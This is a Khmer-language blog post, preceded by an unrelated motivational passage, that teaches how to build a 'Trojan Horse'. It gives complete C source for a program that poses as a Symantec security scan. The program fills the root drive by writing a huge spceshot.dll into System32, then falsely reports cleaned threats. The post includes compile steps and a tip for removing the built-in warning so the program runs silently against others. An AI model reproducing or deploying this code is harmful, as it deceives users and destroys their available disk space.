1234

2

ដំណឹង អគុណដែលបានចូលមើលទំព័រប្លកជ័យជំនះរបស់ខ្ញុំ អត្ថបទថ្មីៗ ងាយវាយតម្លៃលើកំហុសអ្នកដទៃ តែពិបាកក្នុងការមើលកំហុសរបស់ខ្លួន ។ ងាយណាស់ពេលអ្នកមានឈ្មោះនៅក្នុងបញ្ជីអាសយដ្ឋានរបស់មនុស្សម្នាក់ តែពិបាកពេលអ្នកស្វែងរកបានកន្លែងមួយនៅក្នុងបេះដូងគេ ។ ងាយក្នុងនិយាយដែលមិនបានគិតគូរ តែពិបាកក្នុងការពិនិត្យសម្ដីដែលខ្លួនបាននិយាយ ។ ងាយពេលធ្វើឲ្យប៉ះពាល់អារម្មណ៍មនុស្សម្នាក់ តែពិបាកក្នុងការផ្សះស្នាមរបួសផ្លូវចិត្ត ។ ងាយក្នុងការលើកលែងទោសដល់អ្នកដទៃ តែពិបាកពេលធ្វើឲ្យអ្នកដទៃលើកលែងទោសដល់ខ្លួន។ ងាយក្នុងការបង្កើតលក្ខខណ្ឌ តែពិបាកក្នុងអនុវត្តតាមវា ។ ងាយក្នុងការដេកយល់សប្តិ៍រាល់យប់ តែពិបាកក្នុងការអនុវត្តឲ្យបានសម្រេចតាមសុបិនដែលខ្លួនប្រាថ្នា ។ ងាយក្នុងការបង្អួតនូវជ័យជំនះ តែពិបាកក្នុងការទទួលស្គាល់បរាជ័យ ។ ងាយពេលដើរប៉ះដុំថ្មជំពប់ជើងហើយដួល តែពិបាកក្នុងការក្រោកឡើងហើយដើរទៅមុខ ។ ងាយពេលសន្យានឹងអ្នកណាម្នាក់ តែពិបាកក្នុងការធ្វើឲ្យសម្រេចនូវពាក្យសន្យានោះ ។ ងាយពេលដែលយើងនិយាយថា យើងស្រឡាញ់ តែពិបាកក្នុងការធ្វើឲ្យគេមានអារម្មណ៍យល់ឃើញបែបនេះរាល់ថ្ងៃ ។ ងាយក្នុងការរិះគន់អ្នកដទៃ តែពិបាក្នុងការកែលម្អខ្លួន ។ ងាយពេលដែលយើងធ្វើខុស តែពិបាកក្នុងការទទួលបទពិសោធពីកំហុសនោះ ។ ងាយក្នុងការក្ដៅក្រហាយព្រោះបាត់អ្វីមួយ តែពិបាកក្នុងការយកចិត្តទុកដាក់លើប្រការនោះកុំឲ្យវាបាត់ទៀត ។ ងាយក្នុងការគិតឃើញកិច្ចការអ្វីមួយ តែពិបាកពេលឈប់គិតហើយចាប់ផ្ដើមអនុវត្ត ។ ងាយក្នុងការគិតអាក្រក់អំពីមនុស្សម្នាក់ តែពិបាកក្នុងការផ្ដល់ជំនឿដល់គេ ។ ងាយក្នុងការទទួល តែពិបាកក្នុងការឲ្យ ។ ងាយក្នុងការអានប្រការទាំងនេះ តែពិបាកណាស់ក្នុងការអនុវត្តតាមវា ។ បើឱកាសមិនទាន់គោះទ្វារទេ អ្នកត្រូវគិតមកខ្លួនឯងវិញថា មានបានធ្វើទ្វារហើយឬនៅ ?

Thursday, October 3, 2013

របៀបបង្កើតមេរោគ Trojan Horse


របៀបបង្កើតមេរោគ Trojan Horse
a
ការសរសេរដោយប្រើកម្មវិធី C ដើម្បីសរសេរ និង compile ជាមេរោគ
ខាងក្រោមនេះប្រភពកូដ source code សរសេរក្នុង    កម្មវិធី C
#include<stdio.h>
#include<conio.h>
#include<dos.h>
#include<stdlib.h>
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]=”CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE”,choice;
 void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);
 void main()
{
draw();
accept();
textcolor(WHITE);
draw();
gotoxy(12,8);
cputs(“ANALYZING YOUR SYSTEM. PLEASE WAIT…”);
sleep(3);
gotoxy(12,8);
delline();
cputs(“PRESS ANY KEY TO START THE SYSTEM SCAN…”);
getch();
gotoxy(12,8);
delline();
findroot();
}
 void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs(“THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO\n\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\’VE TO DELETE THE FILE \”spceshot.dll\” LOCATED IN\n\n\r \”%windir%\\System32\”.\n\n\rIF YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.”);
 if((choice=getch())!=13)
exit(0);
}
 void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs(“********************************************************”);
gotoxy(12,6);
cputs(“********************************************************”);
gotoxy(12,3);
cputs(“*\n\b*\n\b*\n\b”);
gotoxy(67,3);
cputs(“*\n\b*\n\b*\n\b”);
gotoxy(14,4);
cputs(“SYMANTEC SECURITY SCAN – 2009 (QUICK SYSTEM SCANNER)”);
}
 void findroot()
{
t=fopen(“C:\\windows\\explorer.exe”,”rb”);
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen(“C:\\windows\\system32\\spceshot.dll”,”rb”);
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs(“SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!”);
getch();
exit(1);
}
b=fopen(“C:\\windows\\system32\\spceshot.dll”,”wb+”);
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen(“D:\\windows\\explorer.exe”,”rb”);
if(t!=NULL)
{
fclose(t);
a=fopen(“D:\\windows\\system32\\spceshot.dll”,”rb”);
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs(“SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!”);
getch();
exit(1);
}
b=fopen(“D:\\windows\\system32\\spceshot.dll”,”wb+”);
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen(“E:\\windows\\explorer.exe”,”rb”);
if(t!=NULL)
{
fclose(t);
a=fopen(“E:\\windows\\system32\\spceshot.dll”,”rb”);
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs(“SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!”);
getch();
exit(1);
}
b=fopen(“E:\\windows\\system32\\spceshot.dll”,”wb+”);
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen(“F:\\windows\\explorer.exe”,”rb”);
if(t!=NULL)
{
fclose(t);
a=fopen(“F:\\windows\\system32\\spceshot.dll”,”rb”);
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs(“SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!”);
getch();
exit(1);
}
b=fopen(“F:\\windows\\system32\\spceshot.dll”,”wb+”);
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs(“SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.”);
getch();
exit(1);
}
exit(1);
}
 void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs(“WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n”);
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf(“SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!”,vir_count);
gotoxy(12,10);
cprintf(“PRESS ANY KEY TO CLOSE…”);
getch();
break;
}
}
cputs(“.”);
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}
 void showstatus()
{
gotoxy(12,8);
cputs(“SCANNING THE SYSTEM FOR THREATS”);
gotoxy(12,10);
cputs(“THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS”);
gotoxy(12,13);
cputs(“SCAN IN PROGRESS. PLEASE WAIT…”);
}

ក្បួន algorithm នៃការបង្កើត Trojan ដូចខាងក្រោម
1. ស្រាវជ្រាវ សម្រាប់ root drive
2. ចូលក្នុង WindowsSystem32 លើ root drive
3. បង្កើតឈ្មោះ file named “spceshot.dll
4. ចាប់ផ្តើមធ្វើអោយទិន្នន័យជាប់គាំ
5. បញ្ឈប់ដំណើរការ stop the process.
លោកអ្នកចុចដោនឡូតមេរោគ និងប្រភពកូដចុចលើ download  ហាមចុចលើ file exe ជាមេរោគ លោកអ្នក បើប្រភព source code កូដ C
ប្រសិនបើចុចលើ SpaceEater.exe និងកើត មេរោគ អាច គ្រោះថ្នាក់ដល់ ថាសរឹង Hard disk របស់ លោកអ្នក
របៀប compile សាក់ល្បងនិង remove  ដោយប្រើ Borland C++ compiler (or equivalent) ដើម្បី compile ជាមេរោគ Trojan
សាកល្បង: រត់លើ SpaceEater.exe file លើកុំព្យូទ័រ របស់អ្នក។  វាបានបង្ហាញ warning message ឡើង ម្តង ទៀត លោកអ្នកអនុញ្ញាត accept វាមេរោគ Trojan លើ ថាស រឹង hard disk space។
ចំណាំ: ដើម្បី remove warning message ចេញលោកអ្នកសរសេរ edit  source code ហើយ re-compile វាឡើងវិញ។
របៀបដោះ remove ចូលក្នុង “run” វាយសរសេរ លប់ចោល
%systemroot%system32
ឬរកមើលឈ្មោះ file “spceshot.dll“ រួចហើយលប់វាចោល ជាការស្រេច មិនចំបាច់ format ថាសរឹង hard disk ឡើងវិញទេ។

No comments:

Post a Comment

1111

ផ្កាយរណប

22

122

22t

Ezecom

23